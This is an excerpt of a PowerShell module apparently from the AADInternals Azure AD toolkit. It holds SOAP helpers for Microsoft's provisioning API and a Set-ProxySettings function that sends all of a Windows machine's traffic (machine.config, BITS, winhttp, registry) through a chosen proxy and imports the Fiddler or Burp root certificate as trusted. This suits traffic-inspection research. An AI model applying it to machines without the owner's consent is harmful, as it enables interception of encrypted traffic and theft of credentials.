"Device Managers"= "2b499bcd-da44-4968-8aec-78e1674fa64d"
|
||||
"Application Administrator"= "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3"
|
||||
"Application Developer"= "cf1c38e5-3621-4004-a7cb-879624dced7c"
|
||||
"Security Reader"= "5d6b6bb7-de71-4623-b4af-96380a352509"
|
||||
"Security Administrator"= "194ae4cb-b126-40b2-bd5b-6091b380977d"
|
||||
"Privileged Role Administrator"= "e8611ab8-c189-46e8-94e1-60213ab1f814"
|
||||
"Intune Service Administrator"= "3a2c62db-5318-420d-8d74-23affee5d9d5"
|
||||
"Cloud Application Administrator"= "158c047a-c907-4556-b7ef-446551a6b5f7"
|
||||
"Customer LockBox Access Approver"= "5c4f9dcd-47dc-4cf7-8c9a-9e4207cbfc91"
|
||||
"CRM Service Administrator"= "44367163-eba1-44c3-98af-f5787879f96a"
|
||||
"Power BI Service Administrator"= "a9ea8996-122f-4c74-9520-8edcd192826c"
|
||||
"Guest Inviter"= "95e79109-95c0-4d8e-aee3-d01accf2d47b"
|
||||
"Conditional Access Administrator"= "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9"
|
||||
"Reports Reader"= "4a5d8f65-41da-4de4-8968-e035b65339cf"
|
||||
"Message Center Reader"= "790c1fb9-7f7d-4f88-86a1-ef1f95c05c1b"
|
||||
"Information Protection Administrator"= "7495fdc4-34c4-4d15-a289-98788ce399fd"
|
||||
"License Administrator"= "4d6ac14f-3453-41d0-bef9-a3e0c569773a"
|
||||
"Cloud Device Administrator"= "7698a772-787b-4ac8-901f-60d6b08affd2"
|
||||
"Teams Communications Administrator"= "baf37b3a-610e-45da-9e62-d9d1e5e8914b"
|
||||
"Teams Communications Support Engineer"= "f70938a0-fc10-4177-9e90-2178f8765737"
|
||||
"Teams Communications Support Specialist"= "fcf91098-03e3-41a9-b5ba-6f0ec8188a12"
|
||||
"Teams Service Administrator"= "69091246-20e8-4a56-aa4d-066075b2a7a8"
|
||||
"Guest User"= "10dae51f-b6af-4016-8d66-8c2a99b929b3"
|
||||
}
|
||||
|
||||
# Boolean to string
|
||||
function b2s
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[bool]$Bool
|
||||
)
|
||||
Process
|
||||
{
|
||||
$Bool.ToString().ToLower()
|
||||
}
|
||||
}
|
||||
|
||||
# Create SOAP envelope
|
||||
function Create-Envelope
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Command,
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$RequestElements,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$TenantId
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create the envelope
|
||||
$message_id=(New-Guid).ToString()
|
||||
$envelope=@"
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">http://provisioning.microsoftonline.com/IProvisioningWebService/$Command</a:Action>
|
||||
<a:MessageID>urn:uuid:$message_id</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<UserIdentityHeader xmlns="http://provisioning.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<BearerToken xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">Bearer $AccessToken</BearerToken>
|
||||
<LiveToken i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService"/>
|
||||
</UserIdentityHeader>
|
||||
<ClientVersionHeader xmlns="http://provisioning.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<ClientId xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">50afce61-c917-435b-8c6d-60aa5a8b8aa7</ClientId>
|
||||
<Version xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">1.2.183.17</Version>
|
||||
</ClientVersionHeader>
|
||||
<ContractVersionHeader xmlns="http://becwebservice.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<BecVersion xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">Version47</BecVersion>
|
||||
</ContractVersionHeader>
|
||||
<a:To s:mustUnderstand="1">https://provisioningapi.microsoftonline.com/provisioningwebservice.svc</a:To>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
<$Command xmlns="http://provisioning.microsoftonline.com/">
|
||||
<request xmlns:b="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<b:BecVersion>Version16</b:BecVersion>
|
||||
$(Add-BElement -Parameter "TenantId" -Value $TenantId)
|
||||
<b:VerifiedDomain i:nil="true"/>
|
||||
$RequestElements
|
||||
</request>
|
||||
</$Command>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
"@
|
||||
# Debug
|
||||
Write-Debug "ENVELOPE ($Command): $envelope"
|
||||
|
||||
# Return
|
||||
return $envelope
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Calls the provisioning SOAP API
|
||||
function Call-ProvisioningAPI
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Envelope
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Call the API
|
||||
Invoke-RestMethod -UseBasicParsing -Uri "https://provisioningapi.microsoftonline.com/provisioningwebservice.svc" -ContentType "application/soap+xml" -Method POST -Body $envelope
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Parses the response object(s) from SOAP message
|
||||
function Parse-SOAPResponse
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$Response
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check if empty
|
||||
if(![string]::IsNullOrEmpty($Response))
|
||||
{
|
||||
# All good, try to parse the response object
|
||||
$results=(Select-Xml -Xml $response -XPath "//*[local-name()='$($Command+"Result")']").Node
|
||||
|
||||
# Check if we got response
|
||||
if([string]::IsNullOrEmpty($results))
|
||||
{
|
||||
# Got error
|
||||
throw $Response.Envelope.Body.Fault.Reason.Text.'#text'
|
||||
}
|
||||
|
||||
# Sometimes response message is empty
|
||||
if($results.ReturnValue -ne $null)
|
||||
{
|
||||
(Remove-XMLNameSpace $results.ReturnValue).ReturnValue
|
||||
}
|
||||
else
|
||||
{
|
||||
return ""
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
# Empty, so throw an exception
|
||||
throw "Null or empty Response"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Remove namespace from xml doc
|
||||
function Remove-XMLNameSpace
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$xmlDoc
|
||||
)
|
||||
Process
|
||||
{
|
||||
$xml=[System.Xml.Linq.XDocument]::Parse($xmlDoc.OuterXml)
|
||||
|
||||
$remove=@()
|
||||
foreach ($XE in $xml.Descendants())
|
||||
{
|
||||
if($XE.Name.LocalName.Length -eq 1)
|
||||
{
|
||||
# Remove "c" etc. tags
|
||||
$remove+=$XE
|
||||
}
|
||||
else
|
||||
{
|
||||
# Strip the namespace and attributes
|
||||
$XE.Name = $XE.Name.LocalName
|
||||
$XE.RemoveAttributes()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
foreach($XE in $remove)
|
||||
{
|
||||
$XE.Remove()
|
||||
}
|
||||
|
||||
return [xml]$xml.ToString()
|
||||
}
|
||||
}
|
||||
|
||||
# Parses the given ServiceInformation object from Get-CompanyInformation and returns as hashtable
|
||||
# Aug 11th 2018
|
||||
function Parse-ServiceInformation
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Xml.XmlElement]$ServiceInformation
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set the return hastable
|
||||
$retVal=@{}
|
||||
|
||||
# Loop through service information elements. There might be even more than these here.
|
||||
|
||||
foreach($service in $ServiceInformation.ServiceInformation)
|
||||
{
|
||||
$settings=$null
|
||||
$instance = $service.ServiceInstance
|
||||
$instance_name=$instance.Split("/")[0]
|
||||
|
||||
if($instance_name -ceq "sharepoint")
|
||||
{
|
||||
$settings=$service.ServiceElements.XElement.XElement.ServiceExtension.ServiceParameters.ServiceParameter
|
||||
}
|
||||
elseif($instance_name -ceq "SharePoint")
|
||||
{
|
||||
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
|
||||
#$service.ServiceElements.XElement.ServiceExtension.DNSRecords.DNSRecord
|
||||
}
|
||||
elseif($instance_name -eq "RMSOnline")
|
||||
{
|
||||
$settings=$service.ServiceElements.XElement.RmsCompanyServiceInfo.ServiceLocations.ServiceLocation
|
||||
}
|
||||
elseif($instance_name -eq "SCO")
|
||||
{
|
||||
$settings=$service.ServiceElements.XElement.WindowsIntuneServiceInfo.ServiceParameters.ServiceParameter
|
||||
$name = $service.ServiceElements.XElement.WindowsIntuneServiceInfo.ServiceParameters.ServiceParameter.Name
|
||||
$value = $service.ServiceElements.XElement.WindowsIntuneServiceInfo.ServiceParameters.ServiceParameter.Value
|
||||
if($name -ne $null)
|
||||
{
|
||||
$settings=@{$name = $value}
|
||||
}
|
||||
}
|
||||
elseif($instance_name -ieq "YammerEnterprise")
|
||||
{
|
||||
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
|
||||
}
|
||||
elseif($instance_name -ieq "ProjectWorkManagement")
|
||||
{
|
||||
$settings=$service.ServiceElements.XElement.Topology
|
||||
}
|
||||
elseif($instance_name -ieq "Netbreeze")
|
||||
{
|
||||
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
|
||||
}
|
||||
elseif($instance_name -ieq "DynamicsMarketing")
|
||||
{
|
||||
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
|
||||
}
|
||||
elseif($instance_name -ieq "CRM")
|
||||
{
|
||||
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
|
||||
}
|
||||
$retVal[$instance]=$settings
|
||||
|
||||
|
||||
}
|
||||
|
||||
$retval
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Get Sku and service name from SKU array
|
||||
# Aug 12th 2018
|
||||
function Get-SkuAndServiceName
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[psobject[]]$SKUs,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$ServicePlanId
|
||||
)
|
||||
Process
|
||||
{
|
||||
$attributes=@{}
|
||||
foreach($sku in $SKUs)
|
||||
{
|
||||
$attributes["SkuName"]=$sku.SkuPartNumber
|
||||
foreach($service in $sku.ServiceStatus)
|
||||
{
|
||||
if($service.ServicePlanId -eq $ServicePlanId)
|
||||
{
|
||||
$attributes["ServiceName"]=$service.ServiceName
|
||||
$attributes["ServiceType"]=$service.ServiceType
|
||||
$attributes["ProvisioningStatus"]=$service.ProvisioningStatus
|
||||
|
||||
return New-Object psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
}
|
||||
# No matching SKU found so return $null
|
||||
$null
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Creates a <namespace:parameter> -element
|
||||
function Add-Element
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$NameSpace,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Parameter,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Value
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
if(![string]::IsNullOrEmpty($NameSpace))
|
||||
{
|
||||
$Parameter="$NameSpace`:$Parameter"
|
||||
}
|
||||
if([string]::IsNullOrEmpty($Value))
|
||||
{
|
||||
$element="<$Parameter i:nil=`"true`"/>"
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
if($Value -is [Boolean])
|
||||
{
|
||||
$Value=b2s -Bool $Value
|
||||
}
|
||||
$element="<$Parameter>$Value</$Parameter>"
|
||||
}
|
||||
|
||||
$element
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a <b:parameter> -element
|
||||
function Add-BElement
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Parameter,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Value
|
||||
)
|
||||
Process
|
||||
{
|
||||
Add-Element -NameSpace "b" -Parameter $Parameter -Value $Value
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a <c:parameter> -element
|
||||
function Add-CElement
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Parameter,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Value
|
||||
)
|
||||
Process
|
||||
{
|
||||
Add-Element -NameSpace "c" -Parameter $Parameter -Value $Value
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a <d:parameter> -element
|
||||
function Add-DElement
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Parameter,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Value
|
||||
)
|
||||
Process
|
||||
{
|
||||
Add-Element -NameSpace "d" -Parameter $Parameter -Value $Value
|
||||
}
|
||||
}
|
||||
|
||||
# Converts xml to PSObject
|
||||
function ConvertXmlTo-PSObject
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Xml.XmlLinkedNode]$xml
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$XMLProperties=@(
|
||||
"InnerText"
|
||||
"InnerXml"
|
||||
"OuterXml"
|
||||
"BaseURI"
|
||||
"Prefix"
|
||||
"NamespaceURI"
|
||||
"Name"
|
||||
"LocalName"
|
||||
"Value"
|
||||
"IsEmpty"
|
||||
"HasAttributes"
|
||||
"HasChildNodes"
|
||||
"IsReadOnly"
|
||||
"ChildNodes"
|
||||
)
|
||||
}
|
||||
Process
|
||||
{
|
||||
$attributes=[ordered]@{}
|
||||
|
||||
foreach($property in $xml.PSObject.Properties)
|
||||
{
|
||||
if(!$XMLProperties.Contains($property.Name))
|
||||
{
|
||||
switch($property.TypeNameOfValue)
|
||||
{
|
||||
"System.String"
|
||||
{
|
||||
$attributes[$property.Name] = $property.Value
|
||||
break
|
||||
}
|
||||
"System.Boolean"
|
||||
{
|
||||
$attributes[$property.Name] = $property.Value
|
||||
break
|
||||
}
|
||||
"System.Object[]"
|
||||
{
|
||||
$values=@()
|
||||
foreach($value in $property.Value)
|
||||
{
|
||||
$values += $value
|
||||
}
|
||||
$attributes[$property.Name] = $values
|
||||
break
|
||||
}
|
||||
"System.Xml.XmlElement"
|
||||
{
|
||||
$values = ConvertXmlTo-PSObject -xml $property.Value
|
||||
$attributes[$property.Name] = $values.PSObject.Properties.Value
|
||||
break
|
||||
}
|
||||
"System.Xml.XmlNodeList"
|
||||
{
|
||||
$attributes[$property.Name] = $property.Value
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return New-Object psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,283 @@
|
||||
# This file contains functions for setting proxy settings for Windows devices
|
||||
|
||||
# Sets proxy settings
|
||||
# Jan 20th 2022
|
||||
Function Set-ProxySettings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets proxy settings of the local Windows machine and trusts Fiddler root certificate.
|
||||
|
||||
.DESCRIPTION
|
||||
Sets proxy settings of the local Windows machine for:
|
||||
* .NET Framework (both 32 & 64 bit) by editing machine.config
|
||||
* LocalSystem using BITSAdmin
|
||||
* NetworkService using BITSAdmin
|
||||
* winhttp using netsh
|
||||
* Local user by modifying registry
|
||||
* Machine level by modifying registry
|
||||
* Force machine level proxy by modifying registry
|
||||
|
||||
Trusts Fiddler root certificate by importing it to Local Machine truster root certificates
|
||||
|
||||
.Parameter ProxyAddress
|
||||
Proxy address with port number.
|
||||
|
||||
.Parameter TrustFiddler
|
||||
Trust Fiddler root certificate
|
||||
|
||||
.EXAMPLE
|
||||
PS\:>Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080
|
||||
|
||||
Setting proxies for x86 & x64 .NET Frameworks:
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
|
||||
Setting proxy for LocalSystem:
|
||||
|
||||
BITSADMIN version 3.0
|
||||
BITS administration utility.
|
||||
(C) Copyright Microsoft Corp.
|
||||
|
||||
Internet proxy settings for account LocalSystem were set.
|
||||
(connection = default)
|
||||
|
||||
Proxy usage set to Manual_proxy
|
||||
Proxy list set to http://10.0.0.1:8080
|
||||
Proxy bypass list set to <empty>
|
||||
Setting proxy for NetworkService:
|
||||
|
||||
BITSADMIN version 3.0
|
||||
BITS administration utility.
|
||||
(C) Copyright Microsoft Corp.
|
||||
|
||||
Internet proxy settings for account NetworkService were set.
|
||||
(connection = default)
|
||||
|
||||
Proxy usage set to Manual_proxy
|
||||
Proxy list set to http://10.0.0.1:8080
|
||||
Proxy bypass list set to <empty>
|
||||
Setting winhttp proxy:
|
||||
|
||||
Current WinHTTP proxy settings:
|
||||
|
||||
Proxy Server(s) : 10.0.0.1:8080
|
||||
Bypass List : (none)
|
||||
|
||||
Setting the proxy of local user Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
|
||||
urrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
|
||||
urrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
|
||||
Setting the proxy of machine Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
|
||||
CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
|
||||
CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
|
||||
Setting machine level procy policy for Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
|
||||
\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
|
||||
|
||||
.EXAMPLE
|
||||
PS\:>Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080 -TrustFiddler
|
||||
|
||||
Setting proxies for x86 & x64 .NET Frameworks:
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
|
||||
Setting proxy for LocalSystem:
|
||||
|
||||
BITSADMIN version 3.0
|
||||
BITS administration utility.
|
||||
(C) Copyright Microsoft Corp.
|
||||
|
||||
Internet proxy settings for account LocalSystem were set.
|
||||
(connection = default)
|
||||
|
||||
Proxy usage set to Manual_proxy
|
||||
Proxy list set to http://10.0.0.1:8080
|
||||
Proxy bypass list set to <empty>
|
||||
Setting proxy for NetworkService:
|
||||
|
||||
BITSADMIN version 3.0
|
||||
BITS administration utility.
|
||||
(C) Copyright Microsoft Corp.
|
||||
|
||||
Internet proxy settings for account NetworkService were set.
|
||||
(connection = default)
|
||||
|
||||
Proxy usage set to Manual_proxy
|
||||
Proxy list set to http://10.0.0.1:8080
|
||||
Proxy bypass list set to <empty>
|
||||
Setting winhttp proxy:
|
||||
|
||||
Current WinHTTP proxy settings:
|
||||
|
||||
Proxy Server(s) : 10.0.0.1:8080
|
||||
Bypass List : (none)
|
||||
|
||||
Setting the proxy of local user Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
|
||||
urrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
|
||||
urrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
|
||||
Setting the proxy of machine Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
|
||||
CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
|
||||
CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
|
||||
Setting machine level procy policy for Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
|
||||
\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
|
||||
Trusting Fiddler root certificate:
|
||||
|
||||
|
||||
PSParentPath: Microsoft.PowerShell.Security\Certificate::LocalMachine\Root
|
||||
|
||||
Thumbprint Subject
|
||||
---------- -------
|
||||
33D6FCEE2850DC53EEED517F3E8E72EB944BD467 CN=DO_NOT_TRUST_FiddlerRoot, O=DO_NOT_TRUST, OU=Created by http://...
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
param(
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[String]$ProxyAddress,
|
||||
[Switch]$TrustFiddler,
|
||||
[Switch]$TrustBurp
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Split the proxy address
|
||||
$proxyHost = $ProxyAddress.Split(":")[0]
|
||||
$proxyPort = $ProxyAddress.Split(":")[1]
|
||||
|
||||
# Set .NET proxy in a quick-and-dirty way by just adding at the end
|
||||
$configXml = @"
|
||||
<!-- Added by AADInternals $((Get-Date).ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z")-->
|
||||
<system.net>
|
||||
<defaultProxy enabled = "true" useDefaultCredentials = "true">
|
||||
<proxy autoDetect="false" bypassonlocal="true" proxyaddress="http://$($ProxyAddress)" usesystemdefault="false" />
|
||||
</defaultProxy>
|
||||
</system.net>
|
||||
</configuration>
|
||||
"@
|
||||
Write-Host "Setting proxies for x32 & x64 .NET Frameworks:" -ForegroundColor Yellow
|
||||
$dotNetConfigs = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config","C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config"
|
||||
foreach($dotNetConfig in $dotNetConfigs)
|
||||
{
|
||||
$content = Get-Content $dotNetConfig -Encoding UTF8
|
||||
|
||||
[xml]$xmlContent = $content
|
||||
if($xmlContent.configuration.'system.net'.defaultProxy)
|
||||
{
|
||||
Write-Warning ".NET proxy settings already set, skipping $dotNetConfig"
|
||||
}
|
||||
else
|
||||
{
|
||||
$lines = $content.Length
|
||||
for($a = $lines ; $a-- ; $a -ge 0)
|
||||
{
|
||||
if($content[$a] -like "*</configuration>*")
|
||||
{
|
||||
$content[$a] = $configXml
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host " $dotNetConfig" -ForegroundColor Yellow
|
||||
|
||||
$content | Set-Content $dotNetConfig -Encoding UTF8
|
||||
}
|
||||
}
|
||||
|
||||
# Add proxy for the LocalSystem and NetworkService using bitsadmin
|
||||
Write-Host "Setting proxy for LocalSystem:" -ForegroundColor Yellow
|
||||
& 'bitsadmin' '/Util' '/SetIEProxy' 'LocalSystem' 'Manual_proxy' "http://$ProxyAddress" '""'
|
||||
|
||||
Write-Host "Setting proxy for NetworkService:" -ForegroundColor Yellow
|
||||
& 'bitsadmin' '/Util' '/SetIEProxy' 'NetworkService' 'Manual_proxy' "http://$ProxyAddress" '""'
|
||||
|
||||
# Set winhttp proxy
|
||||
Write-Host "Setting winhttp proxy:" -ForegroundColor Yellow
|
||||
& 'netsh' 'winhttp' 'set' 'proxy' "$ProxyAddress"
|
||||
|
||||
#
|
||||
# Set proxy for Internet Settings
|
||||
#
|
||||
|
||||
# Generate the settigns blob
|
||||
[byte[]]$settingsBlob = New-DefaultConnectionSettings -ProxyAddress $ProxyAddress
|
||||
|
||||
# Set Current User settings
|
||||
Write-Host "Setting the proxy of local user Internet Settings:" -ForegroundColor Yellow
|
||||
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "DefaultConnectionSettings" -Value $settingsBlob -Force -Verbose
|
||||
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "SavedLegacySettings" -Value $settingsBlob -Force -Verbose
|
||||
|
||||
# Set Machine settings
|
||||
Write-Host "Setting the proxy of machine Internet Settings:" -ForegroundColor Yellow
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "DefaultConnectionSettings" -Value $settingsBlob -Force -Verbose
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "SavedLegacySettings" -Value $settingsBlob -Force -Verbose
|
||||
|
||||
# Set proxy policy on machine level
|
||||
Write-Host "Setting machine level procy policy for Internet Settings:" -ForegroundColor Yellow
|
||||
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" -Force -Verbose
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" -Name "ProxySettingsPerUser" -Value 0 -Force -Verbose
|
||||
|
||||
# Trust the Fiddler
|
||||
if($TrustFiddler)
|
||||
{
|
||||
Write-Host "Trusting Fiddler root certificate:" -ForegroundColor Yellow
|
||||
$tmpFile = New-TemporaryFile
|
||||
Invoke-RestMethod -Uri "http://ipv4.fiddler:$proxyPort/FiddlerRoot.cer" -Proxy "http://$ProxyAddress" -OutFile $tmpFile
|
||||
Import-Certificate -FilePath $tmpFile -CertStoreLocation "Cert:\LocalMachine\Root"
Remove-Item $tmpFile -Force
|
||||
}
|
||||
|
||||
# Trust Burp Suite
|
||||
if($TrustBurp)
|
||||
{
|
||||
Write-Host "Trusting Burp root certificate:" -ForegroundColor Yellow
|
||||
$tmpFile = New-TemporaryFile
|
||||
Invoke-RestMethod -Uri "http://$ProxyAddress/cert" -OutFile $tmpFile
|
||||
Import-Certificate -FilePath $tmpFile -CertStoreLocation "Cert:\LocalMachine\Root"
Remove-Item $tmpFile -Force
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Generates a DefaultConnectionSettings blob
|
||||
# Jan 20th 2022
|
||||
Function New-DefaultConnectionSettings
|
||||
{
|
||||
[cmdletbinding()]
|
||||
param(
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[String]$ProxyAddress
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Ref: http://atyoung.blogspot.com/2012/06/info-regarding-hkeycurrentusersoftwarem.html
|
||||
|
||||
$proxyLen = $ProxyAddress.length
|
||||
$blob = new-object byte[] (56 + $proxyLen)
|
||||
$p = 0
|
||||
|
||||
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x46 ) , 0, $blob, $p, 4); $p += 4 # Identifier 0x46 or 0x3C
|
||||
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Counter
|
||||
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x03 ) , 0, $blob, $p, 4); $p += 4 # Use a proxy server for your lan
|
||||
# 09 when only 'Automatically detect settings' is enabled
|
||||
# 03 when only 'Use a proxy server for your LAN' is enabled
|
||||
# 0B when both are enabled
|
||||
# 05 when only 'Use automatic configuration script' is enabled
|
||||
# 0D when 'Automatically detect settings' and 'Use automatic configuration script' are enabled
|
||||
# 07 when 'Use a proxy server for your LAN' and 'Use automatic configuration script' are enabled
|
||||
# 0F when all the three are enabled.
|
||||
# 01 when none of them are enabled.
|
||||
[Array]::Copy([bitconverter]::GetBytes([UInt32] $proxyLen ) , 0, $blob, $p, 4); $p += 4 # Proxy address length
|
||||
[Array]::Copy([Text.Encoding]::ASCII.GetBytes($ProxyAddress) , 0, $blob, $p, $proxyLen); $p += $proxyLen # Proxy address
|
||||
|
||||
#[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Additional info length
|
||||
#[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Automatic script address length
|
||||
# Rest is just 32 bytes of 0x00
|
||||
|
||||
return $blob
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
# AADInternals
|
||||
AADInternals is PowerShell module for administering Azure AD and Office 365
|
||||
|
||||
For details, please visit https://aadinternals.com/aadinternals
|
||||
|
||||
## Installation
|
||||
Run the following PowerShell command to install
|
||||
```
|
||||
